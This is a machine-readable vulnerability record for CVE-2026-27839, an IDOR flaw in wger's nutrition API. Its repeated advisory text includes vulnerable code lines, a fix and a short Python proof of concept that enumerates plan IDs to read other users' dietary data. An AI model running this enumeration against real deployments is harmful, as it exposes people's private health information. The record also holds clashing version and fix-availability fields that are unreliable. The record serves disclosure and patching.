{"id":"CVE-2026-27839","aliases":["EUVD-2026-8907","GHSA-g8gc-6c4h-jg86","PYSEC-2026-3422"],"status":"published","title":"wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup","description":"wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.","severity":{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00304,"percentile":0.23515,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-639"],"published":"2026-02-26T22:07:43Z","modified":"2026-10-28T02:30:49Z","affected":[{"source":"ghsa","ecosystem":"PyPI","package":"wger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"wger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"]},{"source":"osv","ecosystem":"PyPI","package":"wger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"]}],"products":[{"vendor":"wger","product":"wger"},{"vendor":"wger-project","product":"wger"}],"references":[{"url":"https://github.com/wger-project/wger/security/advisories/GHSA-g8gc-6c4h-jg86","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/wger-project/wger/commit/29876a1954fe959e4b58ef070170e81703dab60e","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27839","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-g8gc-6c4h-jg86","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27839.json","tags":["advisory"]},{"url":"https://github.com/wger-project/wger","tags":["package"]},{"url":"https://pypi.org/project/wger","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-27839","title":"wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup","description":"wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.","status":"published","published":"2026-02-26T22:07:43.64Z","modified":"2026-03-03T01:36:50.202Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T14:19:48.826324Z"}],"euvd":[{"id":"EUVD-2026-8907","description":"wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.","status":"published","published":"2026-02-26T22:07:43Z","modified":"2026-03-03T01:36:50Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:48:12.247854Z"}],"ghsa":[{"id":"GHSA-g8gc-6c4h-jg86","title":"wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup","description":"## Summary\n\nThree `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.\n\n### Details\n\nDRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:\n\n`wger/nutrition/api/views.py`:\n\n```python\n# line 301 — NutritionPlanViewSet\nplan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check\n\n# line 356 — MealViewSet\nmeal = Meal.objects.get(pk=pk)                    # VULNERABLE\n\n# line 403 — MealItemViewSet\nmeal_item = MealItem.objects.get(pk=pk)           # VULNERABLE\n```\n\nThe correct pattern used in the same file at `LogItemViewSet` (line 438):\n\n```python\nLogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT\n```\n\nAffected endpoints:\n```\nGET /api/v2/nutritionplan/{pk}/nutritional_values/\nGET /api/v2/meal/{pk}/nutritional_values/\nGET /api/v2/mealitem/{pk}/nutritional_values/\n```\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\n# Attacker's token (any registered user)\nheaders = {\"Authorization\": \"Token ATTACKER_TOKEN\"}\n\n# Read victim's nutrition plan — enumerate pk starting from 1\nfor pk in range(1, 100):\n    r = requests.get(\n        f\"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/\",\n        headers=headers\n    )\n    if r.status_code == 200:\n        data = r.json()\n        print(f\"Plan {pk}: {data}\")\n        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,\n        #          fat, fat_saturated, fiber, sodium\n```\n\nNo interaction from the victim required. Registration is open by default. PKs are sequential integers.\n\n### Impact\n\nAny authenticated user can read other users' private dietary and health data:\n- Daily caloric intake\n- Protein, carbohydrate, fat, fiber, and sodium intake\n- Full meal composition and ingredient quantities\n\nThis data is sensitive health information users expect to be private.\n\n**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.","status":"published","published":"2026-02-26T22:15:51Z","modified":"2026-02-27T21:59:56Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T14:39:28.962954Z"}],"nvd":[{"id":"CVE-2026-27839","description":"wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.","status":"published","published":"2026-02-26T23:16:35.123Z","modified":"2026-06-17T10:27:46.367Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T14:12:07.027269Z"}],"osv":[{"id":"CVE-2026-27839","title":"wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup","description":"wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.","status":"published","published":"2026-02-26T22:07:43.64Z","modified":"2026-10-28T02:30:49.975277422Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T15:45:00.180685Z"},{"id":"GHSA-g8gc-6c4h-jg86","title":"wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup","description":"## Summary\n\nThree `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.\n\n### Details\n\nDRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:\n\n`wger/nutrition/api/views.py`:\n\n```python\n# line 301 — NutritionPlanViewSet\nplan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check\n\n# line 356 — MealViewSet\nmeal = Meal.objects.get(pk=pk)                    # VULNERABLE\n\n# line 403 — MealItemViewSet\nmeal_item = MealItem.objects.get(pk=pk)           # VULNERABLE\n```\n\nThe correct pattern used in the same file at `LogItemViewSet` (line 438):\n\n```python\nLogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT\n```\n\nAffected endpoints:\n```\nGET /api/v2/nutritionplan/{pk}/nutritional_values/\nGET /api/v2/meal/{pk}/nutritional_values/\nGET /api/v2/mealitem/{pk}/nutritional_values/\n```\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\n# Attacker's token (any registered user)\nheaders = {\"Authorization\": \"Token ATTACKER_TOKEN\"}\n\n# Read victim's nutrition plan — enumerate pk starting from 1\nfor pk in range(1, 100):\n    r = requests.get(\n        f\"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/\",\n        headers=headers\n    )\n    if r.status_code == 200:\n        data = r.json()\n        print(f\"Plan {pk}: {data}\")\n        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,\n        #          fat, fat_saturated, fiber, sodium\n```\n\nNo interaction from the victim required. Registration is open by default. PKs are sequential integers.\n\n### Impact\n\nAny authenticated user can read other users' private dietary and health data:\n- Daily caloric intake\n- Protein, carbohydrate, fat, fiber, and sodium intake\n- Full meal composition and ingredient quantities\n\nThis data is sensitive health information users expect to be private.\n\n**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.","status":"published","published":"2026-02-26T22:15:51Z","modified":"2026-07-13T16:43:39.597716933Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"PYSEC-2026-3422","title":"wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup","description":"## Summary\n\nThree `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.\n\n### Details\n\nDRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:\n\n`wger/nutrition/api/views.py`:\n\n```python\n# line 301 — NutritionPlanViewSet\nplan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check\n\n# line 356 — MealViewSet\nmeal = Meal.objects.get(pk=pk)                    # VULNERABLE\n\n# line 403 — MealItemViewSet\nmeal_item = MealItem.objects.get(pk=pk)           # VULNERABLE\n```\n\nThe correct pattern used in the same file at `LogItemViewSet` (line 438):\n\n```python\nLogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT\n```\n\nAffected endpoints:\n```\nGET /api/v2/nutritionplan/{pk}/nutritional_values/\nGET /api/v2/meal/{pk}/nutritional_values/\nGET /api/v2/mealitem/{pk}/nutritional_values/\n```\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\n# Attacker's token (any registered user)\nheaders = {\"Authorization\": \"Token ATTACKER_TOKEN\"}\n\n# Read victim's nutrition plan — enumerate pk starting from 1\nfor pk in range(1, 100):\n    r = requests.get(\n        f\"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/\",\n        headers=headers\n    )\n    if r.status_code == 200:\n        data = r.json()\n        print(f\"Plan {pk}: {data}\")\n        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,\n        #          fat, fat_saturated, fiber, sodium\n```\n\nNo interaction from the victim required. Registration is open by default. PKs are sequential integers.\n\n### Impact\n\nAny authenticated user can read other users' private dietary and health data:\n- Daily caloric intake\n- Protein, carbohydrate, fat, fiber, and sodium intake\n- Full meal composition and ingredient quantities\n\nThis data is sensitive health information users expect to be private.\n\n**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.","status":"published","published":"2026-07-13T14:36:39.598915Z","modified":"2026-07-13T16:33:32.425957913Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:56.847083Z"}]}}
